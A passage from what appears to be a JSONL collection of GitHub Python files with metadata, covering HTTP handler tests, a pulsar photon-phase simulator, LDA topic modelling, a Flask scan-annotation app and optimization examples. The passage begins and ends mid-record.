-= 24\n\nprint(A, B)","repo_name":"Miniling/CodingTest","sub_path":"백준/Oven.py","file_name":"Oven.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34222144450","text":"import json\n\nimport pytest\n\nfrom martin_eden.core import HttpMessageHandler\nfrom martin_eden.http_utils import HttpHeadersParser\nfrom tests.conftest import base_http_request, base_http_result_headers\n\npytest_plugins = ('pytest_asyncio',)\n\n\n@pytest.fixture\ndef http_get_request():\n return base_http_request.encode('utf8')\n\n\n@pytest.fixture\ndef http_headers():\n return base_http_result_headers.encode('utf8')\n\n\n@pytest.fixture\ndef content_type():\n return b'Content-Type: application/json;charset=UTF-8\\n\\n'\n\n\n@pytest.mark.asyncio\nasync def test_not_existing_url(http_get_request, http_headers, content_type):\n http_headers = (\n http_headers[:-1] +\n content_type +\n b'404 not found'\n )\n\n handler = HttpMessageHandler(http_get_request)\n response = await handler.handle_request()\n\n assert response == http_headers\n\n\n@pytest.mark.asyncio\nasync def test_existing_url(http_get_request, http_headers, content_type):\n http_headers = (\n http_headers[:-1] +\n content_type +\n b'test'\n )\n http_get_request = http_get_request.replace(b'/users/', b'/test/')\n\n handler = HttpMessageHandler(http_get_request)\n response = await handler.handle_request()\n\n assert response == http_headers\n\n\n@pytest.mark.asyncio\nasync def test_options_method(http_get_request, http_headers):\n http_get_request = (\n http_get_request\n .replace(b'GET', b'OPTIONS')\n .replace(b'/users/', b'/test/')\n )\n http_headers = (\n http_headers[:-1] +\n b'Allow: OPTIONS, GET, POST\\n\\n'\n )\n handler = HttpMessageHandler(http_get_request)\n response = await handler.handle_request()\n\n assert response == http_headers\n\n\n@pytest.mark.asyncio\nasync def test_openapi_schema(http_get_request):\n http_get_request = http_get_request.replace(b'/users/', b'/schema/')\n\n handler = HttpMessageHandler(http_get_request)\n response = await handler.handle_request()\n\n parser = HttpHeadersParser(response.decode('utf8'))\n openapi_result = json.loads(parser.body)\n assert {\n 'in': 'query',\n 'name': 'test__name__like',\n 'schema': {'type': 'string'},\n } in openapi_result['paths']['/test_query/']['get']['parameters']\n assert openapi_result['paths']['/test/']['get'] == {\n 'operationId': 'test_get'\n }\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize('query_param_source, query_param_result', [\n (b'test__name__like=martin', '[\"test.name LIKE :name_1\"]'),\n (b'test__age__exactly=123', '[\"test.age IN (__[POSTCOMPILE_age_1])\"]'),\n (b'test__age__in=123', '[\"test.age IN (__[POSTCOMPILE_age_1])\"]'),\n (b'test__age__in=123,345', '[\"test.age IN (__[POSTCOMPILE_age_1])\"]'),\n])\nasync def test_query_params(\n http_get_request, query_param_source, query_param_result,\n):\n http_get_request = http_get_request.replace(\n b'/users/', b'/test_query/?' + query_param_source\n )\n\n handler = HttpMessageHandler(http_get_request)\n response = await handler.handle_request()\n\n parser = HttpHeadersParser(response.decode('utf8'))\n assert parser.body == query_param_result\n\n\n@pytest.mark.asyncio\nasync def test_post_method(http_get_request):\n http_get_request = (\n http_get_request\n .replace(b'/users/', b'/test/')\n .replace(b'GET', b'POST')\n + b'\\n{\"pk\": 1, \"name\": \"martin\", \"age\": 30}'\n )\n handler = HttpMessageHandler(http_get_request)\n response = await handler.handle_request()\n\n parser = HttpHeadersParser(response.decode('utf8'))\n assert parser.body == '[1, \"martin\", 30]'\n","repo_name":"mrtedn21/martin-eden","sub_path":"tests/test_http_message_handler.py","file_name":"test_http_message_handler.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26793932591","text":"import pandas as pd\r\ndata_files = [\r\n \"ap_2010.csvint\",\r\n \"class_size.csv\",\r\n \"demographics.csv\",\r\n \"graduation.csv\",\r\n \"hs_directory.csv\",\r\n \"sat_results.csv\"\r\n]\r\ndata = {}\r\n\r\nfor f in data_files:\r\n d = pd.read_csv(\"PY-EX\\schools\\{0}\".format(f))\r\n key_name = f.replace(\".csv\", \"\")\r\n data[key_name] = d\r\n\r\n","repo_name":"GabrielSantos1337/NDB","sub_path":"Gabriel/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8739150375","text":"\"\"\"A module for adding phase to photon events via Monte Carlo.\n\n$Header: /nfs/slac/g/glast/ground/cvs/pointlike/python/uw/pulsar/mcphase.py,v 1.1 2010/11/01 19:54:18 kerrm Exp $\n\nauthor: M. Kerr <matthew.kerr@gmail.com>\n\n\"\"\"\n\nfrom uw.utilities.fitstools import get_fields\nfrom lcfitters import TaylorMapper\nimport numpy as N\nimport astropy.io.fits as pyfits\n\nclass MCPhase(object):\n \"\"\"Support adding phase to photon events.\n \n The user *must* provide a light curve template that provides amplitude as\n a function of rotational phase.\n\n Optionally, the user may supply an instance of PhaseMapper. This object\n implements a mapping between MET and rotational phase, e.g., by a .par\n file or by specification of F, Fdot, etc. If this object is provided, the\n MET of the photon arrival will be \"tweaked\" to emulate its arrival from the\n pulsar.\n\n Can read/write from FT1 files, adding PULSE_PHASE if desired, modifying TIME\n if desired.\n \"\"\"\n \n def __init__(self,lc_template,phase_mapper=None):\n \"\"\"lc_template -- an instance of LCTemplate\n phase_mapper -- an (optional) instance of PhaseMapper\n \"\"\"\n self.lct = lc_template\n self.pm = phase_mapper\n\n def process_edict(self,ed,new_lct=None,mc_src_id=0):\n \"\"\"Replace (or add) the PULSE_PHASE entry of an edict using a\n (possibly new) light curve. Useful for studying dependence\n on light curve morphology.\n \n Usage note: an \"edict\" is a dictionary with keys typical of\n an FT1 file. In particular, the key MC_SRC_ID must exist.\n \"\"\"\n lct = new_lct or self.lct\n m = ed['MC_SRC_ID']==mc_src_id\n pp = N.empty(len(m))\n pp[m] = lct.random(m.sum())\n m = ~m\n pp[m] = N.random.rand(m.sum())\n ed['PULSE_PHASE'] = pp\n\n def loadFT1(self,ft1files,mc_src_id):\n \"\"\"Access data from one or more FT1 files.\n NB -- pyfits may choke on files bigger than a few hundred MB.\n\n ft1files -- a single file name for an FT1 file, or a list of file names;\n NOTA BENE -- writeback to multiple files is not supported\n\n mc_src_id -- the user should specify the MC_SRC_ID of the pulsar;\n only its events will receive a \"real\" phase.\n The user may pass \"None\", in which case all events\n will have phase drawn from the light curve template.\n \"\"\"\n\n keys = ['TIME'] + (['MC_SRC_ID'] if mc_src_id is not None else [])\n data = get_fields(ft1files,keys)\n for key in keys:\n data[key] = data[key].copy()\n\n self.ft1files = ft1files\n self.data = data\n self.mc_src_id = mc_src_id\n\n if self.pm is not None:\n # set phase0 to the middle of the observation\n self.pm.epoch = (self.data['TIME'].max() + self.data['TIME'].min())/2\n\n def processFT1(self):\n \"\"\"Generate phases from the light curve template and adjust the photon\n arrival times if so specified.\"\"\"\n\n # first, calculate the phase for the observations from the template\n times = self.data['TIME']\n self.phases = phases = N.empty(len(times))\n self.timeshifts = N.zeros(len(times))\n\n if self.mc_src_id is not None:\n mcids = self.data['MC_SRC_ID']\n self.mask = mask = mcids == self.mc_src_id\n\n phases[mask] = self.lct.random(mask.sum())\n phases[~mask] = N.random.rand((~mask).sum())\n \n # next, if the user has provided a phase mapping, calculate the\n # adjustments to the time that need to be made\n # this calculation is done by calculating dphi/dt numerically\n\n # additionally, change the random pulse phases to the appropriate\n # ones from the ephemeris for the background photons\n if self.pm is not None:\n self.timeshifts[mask] = (phases[mask]-self.pm(times[mask]))/self.pm.frequency(times[mask])\n phases[~mask] = self.pm(times[~mask])\n\n \n def writeFT1(self,phase_col_name ='PULSE_PHASE',\n adj_time_col_name ='TIME',\n new_file_name = None):\n \"\"\"Write out data to FT1 file.\n\n phase_col_name -- if not None, will add a pulse phase column of given\n name. The background photons (as defined by \n MC_SRC_ID) will be folded at their default arrival time, \n whie those belonging to the pulsed source will be \n adjusted to come from the provided light curve template.\n\n adj_time_col_name -- if not None, and if the user has provided a PhaseMapper\n object, the algorithm will adjust the time of arrival\n of the pulsed source photons to correspond to the\n folded phase. After this treatment, the FT1 file will\n be suitable, e.g., for blind searches. On the other\n hand, if just checking for the efficacy of pulse-\n detection algorithms for pulsars with timing solutions,\n this step is not necessary. The default is 'TIME', but\n the user may choose a different name.\n\n new_file_name -- if not None, will attempt to clobber the existing\n FT1 file; note, if multiple FT1 files were provided,\n the user *must* provided a new file name for output.\n \"\"\"\n \n if hasattr(self.ft1files,'len'):\n if len(self.ft1files) == 1:\n self.ft1files = self.ft1files[0]\n else:\n print ('ERROR!')\n print ('Multiple FT1 files were passed in.')\n print ('Writeback to multiple files is not supported.')\n print ('Please process multiple FT1 files individually.')\n return\n\n new_file_name = new_file_name or self.ft1files\n\n try:\n f = pyfits.open(self.ft1files,memmap=True)\n except:\n f = pyfits.open(self.ft1files,memmap=False)\n\n newcols = []\n\n if adj_time_col_name is not None:\n if self.pm is not None:\n print ('Writing out adjusted event times to %s'%(adj_time_col_name))\n newtimes = self.data['TIME'] + self.timeshifts\n try:\n f[1].data.field(adj_time_col_name)\n f[1].data.field(adj_time_col_name)[:] = newtimes\n except KeyError:\n col = pyfits.Column(name=adj_time_col_name,format='D',array=newtimes)\n newcols += [col]\n else:\n print ('ERROR!')\n print ('Found a column to write out adjusted time, but no')\n print ('PhaseMapper was provided to calculate the time shifts.')\n print ('No time entry will be written.')\n\n if phase_col_name is not None:\n print ('Writing out pulse phase column to %s'%(phase_col_name))\n try:\n f[1].data.field(phase_col_name)\n f[1].data.field(phase_col_name)[:] = self.phases\n except KeyError:\n col = pyfits.Column(name=phase_col_name,format='D',array=self.phases)\n newcols += [col]\n \n if len(newcols) > 0:\n cols = f['EVENTS'].columns\n for newcol in newcols:\n cols = cols.add_col(newcol)\n t = pyfits.new_table(cols,header=f['EVENTS'].header)\n t.name = 'EVENTS'\n f[1] = t\n \n f.writeto(new_file_name,clobber=True)\n #tname = 'temp%d'%(int(N.random.rand(1)[0]*2**31))\n #f.writeto(tname)\n f.close()\n \"\"\"\n # Windows' file protection is exceptionally stupid\n del(f)\n del(newcols)\n import gc\n gc.collect()\n gc.collect()\n import os\n try:\n os.remove(new_file_name)\n except:\n os.remove(new_file_name)\n os.rename(tname,new_file_name)\n \"\"\"\n","repo_name":"fermi-lat/pointlike","sub_path":"python/uw/pulsar/mcphase.py","file_name":"mcphase.py","file_ext":"py","file_size_in_byte":8329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71454878972","text":"import numpy as np\r\nimport pandas as pd\r\n\r\n'''# base = sample_generator.instance_a_train_loader(4, 32)\r\nrs_cols = ['user_id', 'movie_id', 'rating', 'unix_timestamp']\r\ntrain_data = pd.read_csv('./ua.base', sep='\\t', names=rs_cols, encoding='utf-8')\r\nuser_ids = train_data[\"user_id\"].unique().tolist()\r\nuser2user_encoded = {x: i for i, x in enumerate(user_ids)}\r\nuserencoded2user = {i: x for i, x in enumerate(user_ids)}\r\nmovie_ids = train_data[\"movie_id\"].unique().tolist()\r\nmovie2movie_encoded = {x: i for i, x in enumerate(movie_ids)}\r\nmovie_encoded2movie = {i: x for i, x in enumerate(movie_ids)}\r\ntrain_data[\"user\"] = train_data[\"user_id\"].map(user2user_encoded)\r\ntrain_data[\"movie\"] = train_data[\"movie_id\"].map(movie2movie_encoded)\r\n\r\nnum_users = len(user2user_encoded)\r\nnum_movies = len(movie_encoded2movie)\r\ntrain_data[\"rating\"] = train_data[\"rating\"].values.astype(np.float32)\r\n'''\r\n'''\r\nfilename = \"./ua.base\"\r\nratingList = []\r\nusers=[]\r\nwith open('u.user', \"r\") as f:\r\n lines = f.readlines()\r\n for line in lines:\r\n\r\n arr = line.split(\"|\")\r\n print(arr[2],arr[3])\r\n users.append([arr[2],arr[3]])\r\nprint(users)\r\nwith open(filename, \"r\") as f:\r\n line = f.readline()\r\n id=0\r\n while line is not None and line != \"\":\r\n\r\n arr = line.split(\"\\t\")\r\n user, item = int(arr[0]), int(arr[1])\r\n with open('./fed/'+str(user)+'_'+users[user-1][0]+'_'+users[user-1][1], \"a\") as w:\r\n w.write(line)\r\n\r\n line = f.readline()\r\n print('done')\r\n'''\r\nimport os\r\nname=[]\r\nwith open('../morethan200', \"r\") as ff:\r\n lines = ff.readlines()\r\n for line in lines:\r\n name.append(line[:-5])\r\n print(name)\r\n\r\nwith open('./train_data', \"a\") as w, open('./test_data', \"a\") as wt:\r\n for a in name:\r\n with open('./fed/' + a, \"r\") as f:\r\n lines = f.readlines()\r\n test=np.random.choice(len(lines), 1)\r\n for l in range(len(lines)):\r\n if l not in test:\r\n w.write(lines[l])\r\n else:\r\n wt.write(lines[l])\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"2016312357/FL-shield","sub_path":"Data/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35454616238","text":"#the CVS file should contain a column called \"ids\" and no column called \"text\"\n\nif __name__ == '__main__':\n\n from mmap import mmap\n\n import pandas as pd\n import os\n import re\n import gensim\n from gensim.utils import simple_preprocess\n import nltk\n nltk.download('stopwords')\n\n\n import plotting\n import text_preprocessing\n import lda_optimization\n import post_processing_lda\n import itertools\n\n\n #folder = \"C:/Users/loisv/My Drive/personnel/hobbies/jdr gn/GN/Miskatonic University/textprocessing/lda/\"\n folder = \"C:/Users/loisv/My Drive/personnel/hobbies/textprocessing/lda/melania_papers/\"\n folder_results = folder + 'results/'\n folder_cache = folder +'cache/'\n preprocessing_cache_file = folder_cache + 'preprocessed_text_as_lists_of_lemmatized_words.csv'\n global_wordcloud_output_file = folder_results + 'global_wordcloud_preprocessed.png'\n path_to_optimization_result_csv = folder_cache+'optimization_results.csv'\n precomputed_global_optimal_lda_model_file = folder_cache+'precomputed_optimal.obj'\n current_optimal_result_from_search_file = 'current_optimal_result.html'\n pathway_to_intermediate_results = folder_cache+'intermediate_results/'\n csv_file = folder_cache+'input_to_cleaned_text.csv'\n topics_per_document_file = folder_results+'topics_per_document.csv'\n topic_per_word_file = folder_results+'topics_per_word.csv'\n words_per_topic = folder_results+'words_per_topics.csv'\n\n #preprocessing_cache_file = 'C:/Users/loisv/Desktop/lda_tryout/preprocessed_text_as_lists_of_lemmatized_words.csv'\n #global_wordcloud_output_file = 'C:/Users/loisv/Desktop/lda_tryout/global_wordcloud_preprocessed.png'\n #path_to_optimization_result_csv = 'C:/Users/loisv/Desktop/lda_tryout/optimization_results.csv'\n #path_to_precomputed_optimal_model = 'C:/Users/loisv/Desktop/lda_tryout/precomputed_optimal.obj'\n #current_optimal_result_from_search_file = 'C:/Users/loisv/Desktop/lda_tryout/current_optimal_result.html'\n #pathway_to_intermediate_results = 'C:/Users/loisv/Desktop/lda_tryout/intermediates'\n #csv_file = 'C:/Users/loisv/Desktop/lda_tryout/dataset.csv'\n\n if not os.path.exists(folder_cache):\n os.makedirs(folder_cache)\n if not os.path.exists(folder_results):\n os.makedirs(folder_results)\n if not os.path.exists(pathway_to_intermediate_results):\n os.makedirs(pathway_to_intermediate_results)\n\n # Read data into papers\n id_text_dataframe = pd.read_csv(csv_file)\n\n # Print out the first rows of papers\n print(\"texts loaded:\")\n print(len(id_text_dataframe))\n # Load the regular expression library\n # Remove punctuation\n id_text_dataframe['processed_text'] = \\\n id_text_dataframe['text'].map(lambda x: re.sub('[,\\.!?]', '', x))\n\n #################################WORDCLOUD_OF_ALL_THE_TEXT#########################################################\n #print(\"generating word cloud\")\n #long_string = ','.join(list(papers['processed_text'].values))\n #plotting.raw_text_to_wordcloud(long_string, \"results/raw_text_wordcloud.png\")\n\n #################################PREPROCESS TEXT IN LISTS OF WORDS##################################################\n\n print(\"preprocessing texts\")\n texts_as_preprocessed_word_lists = text_preprocessing\\\n .text_list_to_preprocessed_word_list(id_text_dataframe.processed_text.values.tolist(),\n preprocessing_cache_file)\n\n all_postprocessed_words = set(list(itertools.chain.from_iterable(texts_as_preprocessed_word_lists)))\n\n print(\"Number of different words after post-processing: \"+str(len(all_postprocessed_words)))\n\n print(\"raw text transformed into processed word lists (tokenization, removed stop words)\")\n #print(texts_as_word_lists[0:5])\n\n corpus = lda_optimization.term_frequency_from_text(texts_as_preprocessed_word_lists)\n print(\"processed word lists per entry -> term frequencies per entry\")\n #print(corpus[0:5])\n\n if(not os.path.exists(global_wordcloud_output_file)):\n long_string = [item for sublist in texts_as_preprocessed_word_lists for item in sublist]\n long_string2 = ','.join(long_string)\n plotting.raw_text_to_wordcloud(long_string2, global_wordcloud_output_file)\n print(\"processed word list -> wordcloud file\")\n\n # print(texts_as_word_lists[:1][0][:30])\n\n #some basic optimization trials, not relevant\n #lda_model = lda_optimization.compute_basic_lda(texts_as_word_lists, 2)\n #plotting.export_lda_results_as_html(lda_model, corpus,\"results/preprocessed_2.html\")\n #plotting.export_lda_results_as_html(lda_optimization.compute_basic_lda(texts_as_word_lists, 3), corpus,\"results/preprocessed_3.html\")\n\n\n\n for i in range(5,101,5):\n print(\"Now computing the optimal distribution for \"+str(i)+\" topics\")\n range_topic = range(i, i+1, 1)\n\n folder_results_for_i_topics = folder_results + str(i) + ' topics/'\n if not os.path.exists(folder_results_for_i_topics):\n os.makedirs(folder_results_for_i_topics)\n\n path_to_optimal_model = folder_results_for_i_topics+\"precomputed_optimal.obj\"\n\n lda_model = lda_optimization.compute_optimal_hyperparameters(texts_as_preprocessed_word_lists,\n path_to_optimal_model,\n path_to_optimization_result_csv,\n current_optimal_result_from_search_file,\n pathway_to_intermediate_results, range_topic)\n\n print(lda_model.print_topics())\n\n if not os.path.exists(folder_results_for_i_topics+\"overview.html\"):\n plotting.export_lda_results_as_html(lda_model, [lda_model.id2word.doc2bow(text) for text in texts_as_preprocessed_word_lists],\n folder_results_for_i_topics+\"overview.html\")\n\n\n plotting.export_topic_distribution_per_document(lda_model, corpus, texts_as_preprocessed_word_lists, folder_results_for_i_topics+\"topics_per_document.csv\")\n\n plotting.export_topic_per_word_distribution(lda_model,all_postprocessed_words,folder_results_for_i_topics+\"topic_per_word.csv\")\n\n plotting.export_word_distribution_per_topic(lda_model,folder_results_for_i_topics+\"words_per_topic.csv\")\n\n\n plotting.cluster_test(corpus=corpus, model=lda_model)\n\n #should print the documents similar to the first document in queue; to be automated to all documents\n plotting.retrieval_test(texts_as_preprocessed_word_lists[0], lda_model, dictionary=lda_model.id2word, corpus=corpus)\n\n doc_lda = lda_model[lda_optimization.term_frequency_from_text(texts_as_preprocessed_word_lists)]\n\n #plotting.format_topics_sentences(ldamodel=lda_model, corpus=corpus, texts=texts_as_preprocessed_word_lists)\n\n #plotting.sentences_chart(lda_model=lda_model, corpus=corpus, texts=texts_as_preprocessed_word_lists)\n\n # Get the topic distribution for the given document.\n # text_attempt = ['model', 'model', 'function', 'set']#texts_as_word_lists[:1][0]\n #bow = lda_model.id2word.doc2bow(texts_as_preprocessed_word_lists[0])\n # doc_topics, word_topics, phi_values = lda_model.get_document_topics(bow, per_word_topics=True)\n\n\n lda_model = lda_optimization.compute_optimal_hyperparameters(texts_as_preprocessed_word_lists,\n path_to_optimal_model,\n path_to_optimization_result_csv,\n current_optimal_result_from_search_file,\n pathway_to_intermediate_results, range(5,101,5))\n\n if not os.path.exists(current_optimal_result_from_search_file):\n plotting.export_lda_results_as_html(lda_model, [lda_model.id2word.doc2bow(text) for text in\n texts_as_preprocessed_word_lists],\n current_optimal_result_from_search_file)\n\n plotting.export_topic_distribution_per_document(lda_model, corpus, texts_as_preprocessed_word_lists,\n topics_per_document_file)\n\n plotting.export_topic_per_word_distribution(lda_model, all_postprocessed_words, topic_per_word_file)\n\n plotting.export_word_distribution_per_topic(lda_model, words_per_topic)\n\n ##################################TOPICS PER DOCUMENT\n from matplotlib import pyplot as plt\n\n\n\n\n dominant_topics, topic_percentages = post_processing_lda.\\\n dominant_topic_and_topic_distribution_per_document_in_corpus(lda_model=lda_model,\n texts_as_word_lists=texts_as_preprocessed_word_lists,\n corpus=corpus)\n\n # Distribution of Dominant Topics in Each Document\n df = pd.DataFrame(dominant_topics, columns=['Document_Id', 'Dominant_Topic'])\n dominant_topic_in_each_doc = df.groupby('Dominant_Topic').size()\n df_dominant_topic_in_each_doc = dominant_topic_in_each_doc.to_frame(name='count').reset_index()\n\n # Total Topic Distribution by actual weight\n topic_weightage_by_doc = pd.DataFrame([dict(t) for t in topic_percentages])\n df_topic_weightage_by_doc = topic_weightage_by_doc.sum().to_frame(name='count').reset_index()\n\n # Top 3 Keywords for each Topic\n topic_top3words = [(i, topic) for i, topics in lda_model.show_topics(formatted=False)\n for j, (topic, wt) in enumerate(topics) if j < 3]\n\n df_top3words_stacked = pd.DataFrame(topic_top3words, columns=['topic_id', 'words'])\n df_top3words = df_top3words_stacked.groupby('topic_id').agg(', \\n'.join)\n df_top3words.reset_index(level=0, inplace=True)\n\n from matplotlib.ticker import FuncFormatter\n\n # Plot\n fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 4), dpi=120, sharey=True)\n\n # Topic Distribution by Dominant Topics\n ax1.bar(x='Dominant_Topic', height='count', data=df_dominant_topic_in_each_doc, width=.5, color='firebrick')\n ax1.set_xticks(range(df_dominant_topic_in_each_doc.Dominant_Topic.unique().__len__()))\n tick_formatter = FuncFormatter(\n lambda x, pos: 'Topic ' + str(x) + '\\n' + df_top3words.loc[df_top3words.topic_id == x, 'words'].values[0])\n ax1.xaxis.set_major_formatter(tick_formatter)\n ax1.set_title('Number of Documents by Dominant Topic', fontdict=dict(size=10))\n ax1.set_ylabel('Number of Documents')\n ax1.set_ylim(0, 1000)\n\n # Topic Distribution by Topic Weights\n ax2.bar(x='index', height='count', data=df_topic_weightage_by_doc, width=.5, color='steelblue')\n ax2.set_xticks(range(df_topic_weightage_by_doc.index.unique().__len__()))\n ax2.xaxis.set_major_formatter(tick_formatter)\n ax2.set_title('Number of Documents by Topic Weightage', fontdict=dict(size=10))\n\n plt.show()\n\n # ident = lda_model.id2word.doc2bow(['cat'])\n # term_id = ident[0][0]\n # topics_for_term = lda_model.get_term_topics(term_id,0.000001)\n # print(topics_for_term)\n\n # Get the most relevant topics to the given word.\n # get_term_topics(word_id, minimum_probability=None)\n\n # plotting.export_lda_results_as_html(lda_model, [lda_model.id2word.doc2bow(text) for text in texts_as_word_lists],\n # \"results/pre-optimization.html\")\n\n\n ##################### t-SNE clustering chart\n # Get topic weights and dominant topics ------------\n from sklearn.manifold import TSNE\n from bokeh.plotting import figure, output_file, show\n from bokeh.models import Label\n from bokeh.io import output_notebook\n import re, numpy as np, pandas as pd\n import matplotlib.colors as mcolors\n\n # Get topic weights\n topic_weights = []\n for i, row_list in enumerate(lda_model[corpus]):\n topic_weights.append([w for i, w in row_list])\n\n # Array of topic weights\n arr = pd.DataFrame(topic_weights).fillna(0).values\n\n # Keep the well separated points (optional)\n arr = arr[np.amax(arr, axis=1) > 0.35]\n\n # Dominant topic number in each doc\n topic_num = np.argmax(arr, axis=1)\n\n # tSNE Dimension Reduction\n tsne_model = TSNE(n_components=2, verbose=1, random_state=0, angle=.99, init='pca')\n tsne_lda = tsne_model.fit_transform(arr)\n\n # Plot the Topic Clusters using Bokeh\n output_notebook()\n n_topics = 4\n mycolors = np.array([color for name, color in mcolors.TABLEAU_COLORS.items()])\n plot = figure(title=\"t-SNE Clustering of {} LDA Topics\".format(n_topics),\n plot_width=900, plot_height=700)\n plot.scatter(x=tsne_lda[:,0], y=tsne_lda[:,1], color=mycolors[topic_num])\n show(plot)","repo_name":"lvanhee/textprocessing-generics","sub_path":"python/pylda/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12824117060","text":"from flask import Flask, render_template, request, make_response, jsonify\nfrom scan import Scan, uids\nimport uuid\nimport json\nimport os\n\n\ndef load_rois():\n rois_by_scan = {}\n dir = 'simple_imagine/rois'\n for file in os.listdir(dir):\n file_path = os.path.join(dir, file)\n\n rois = []\n with open(file_path) as infile:\n for line in infile:\n rois.append(json.loads(line))\n rois_by_scan[file] = rois\n\n return rois_by_scan\n\n\ndef create_app():\n app = Flask(__name__, instance_relative_config=True)\n app.config['DEBUG'] = True\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'\n\n # db.init_app(app)\n\n rois_by_scan = load_rois()\n\n @app.route('/')\n def worklist():\n scans = []\n\n for uid in uids:\n try:\n scan = Scan.fromID(uid, read_volume=False)\n\n scans.append(\n {'accessionNumber': scan.metadata['AccessionNumber'], 'patientName': scan.name, 'uid': scan.uid})\n\n except OSError:\n continue\n\n return render_template('index.html', scans=scans)\n\n @app.route('/view-scan/<uid>')\n def view_scan(uid):\n scan = Scan.fromID(uid, read_volume=False)\n print(uid)\n print(scan.metadata)\n print(scan.size)\n return render_template('view_scan.html', scan=scan)\n\n @app.route('/get-scan/<uid>')\n def get_scan(uid):\n scan = Scan.fromID(uid, read_volume=True)\n print(uid)\n print(scan.metadata)\n\n volume = scan.volume.tobytes()\n\n response = make_response(volume)\n response.headers['Content-Length'] = len(volume)\n response.headers['Content-Type'] = 'application/octet-stream'\n return response\n\n @app.route('/add-roi', methods=[\"POST\"])\n def add_roi():\n content = request.get_json(force=True)\n\n scan_id = content['scan_id']\n\n x = content['x']\n y = content['y']\n w = content['w']\n h = content['h']\n color = content['color']\n\n slice = content['image_index']\n roi = {'id': str(uuid.uuid1()), 'label': 'ROI ' + str(slice), 'slice': slice, 'color': color, 'x': x, 'y': y,\n 'w': w,\n 'h': h}\n\n rois = get_rois_by_uid(scan_id)\n\n rois.append(roi)\n return jsonify(roi)\n\n @app.route('/delete-roi', methods=[\"POST\"])\n def delete_roi():\n content = request.get_json(force=True)\n\n scan_id = content['scan_id']\n group_id = content['id']\n\n rois = get_rois_by_uid(scan_id)\n\n for roi in rois[:]:\n if roi['color'] == group_id:\n rois.remove(roi)\n\n print(\"Deleted \" + group_id + \",\" + str(rois))\n return jsonify(rois)\n\n @app.route('/get-rois/<uid>/<slice>')\n def get_rois(uid, slice):\n\n rois = get_rois_by_uid(uid)\n\n rois_in_slice = []\n for roi in rois:\n if roi['slice'] == int(slice):\n rois_in_slice.append(roi)\n return jsonify(rois_in_slice)\n\n @app.route('/get-roi-groups/<uid>')\n def get_roi_groups(uid):\n rois = get_rois_by_uid(uid)\n\n roi_groups = {}\n\n for roi in rois:\n color = roi['color']\n\n if color not in roi_groups:\n roi_groups[color] = {'label': 'ROI', 'min_slice': roi['slice'], 'max_slice': roi['slice'],\n 'color': color}\n else:\n roi_groups[color]['min_slice'] = min(roi['slice'], roi_groups[color]['min_slice'])\n roi_groups[color]['max_slice'] = max(roi['slice'], roi_groups[color]['max_slice'])\n\n return jsonify(list(roi_groups.values()))\n\n @app.route('/save', methods=['POST'])\n def save():\n content = request.get_json(force=True)\n\n scan_id = content['scan_id']\n rois = get_rois_by_uid(scan_id)\n\n with open('simple_imagine/rois/' + scan_id, 'a') as outfile:\n for roi in rois:\n json.dump(roi, outfile)\n outfile.write('\\n')\n\n return \"\"\n\n def get_rois_by_uid(uid):\n\n if uid not in rois_by_scan:\n rois_by_scan[uid] = []\n\n return rois_by_scan[uid]\n\n return app\n\n\nif __name__ == '__main__':\n create_app().run()\n","repo_name":"annapavt/simple_imagine","sub_path":"simple_imagine/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42446345883","text":"from supplychainnetworkmodel import SupplyChainNetworkModel\nfrom schedulingmodel import SchedulingModel\nfrom typing import Dict\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport sys\n\n\ndef scheduling_examples(robustness=1) -> None:\n sample_count = 30\n log_dir = os.path.join(\"logs\", \"sch-models\")\n figure_dir = os.path.join(\"plots\", \"sch-models\")\n os.makedirs(log_dir, exist_ok=True)\n os.makedirs(figure_dir, exist_ok=True)\n\n log_path = os.path.join(log_dir, f\"sch-example.txt\")\n schm = SchedulingModel(name=\"scheduling-model\",\n log_path=log_path, figure_dir=figure_dir)\n schm.init_sets(T_count=30)\n schm.init_parameters()\n schm.init_uncertainties(robustness=robustness)\n schm.init_variables()\n schm.init_objective()\n schm.init_constraints()\n schm.log_origin_model()\n schm.transform(verbose=False)\n schm.log_robust_counterpart()\n schm.solve()\n schm.log_solution()\n mvor, iostd, rr = schm.evaluate(sample=sample_count, seed=5, verbose=False)\n # ro_sols = schm.get_robust_solutions()\n # det_sols = schm.get_deterministic_solutions()\n # for t in schm.T:\n # print(ro_sols[schm.s[t]], det_sols[schm.s[t]])\n return mvor, iostd, rr\n\n\ndef scn_examples(robustness=0.3) -> Dict[str, float]:\n sample_count = 30\n log_dir = os.path.join(\"logs\", \"scn-models\")\n figure_dir = os.path.join(\"plots\", \"scn-models\")\n os.makedirs(log_dir, exist_ok=True)\n os.makedirs(figure_dir, exist_ok=True)\n\n objectives = list()\n\n replication_count = 1\n for i in range(replication_count):\n log_path = os.path.join(log_dir, f\"scn-example-{i}.txt\")\n figure_dir = os.path.join(figure_dir)\n scnm = SupplyChainNetworkModel(\n name=\"supply-chain-network-model\", log_path=log_path, figure_dir=figure_dir)\n scnm.init_sets()\n # scnm.init_sets(I_count=10, J_count=10, M_count=10,\n # N_count=4, K_count=15, L_count=15)\n scnm.init_parameters(seed=7) # fixed for each replication\n # sampled for each replication\n scnm.init_uncertainties(\n seed=i, robustness=robustness, using_data=False)\n scnm.init_variables()\n scnm.init_objective()\n scnm.init_constraints()\n 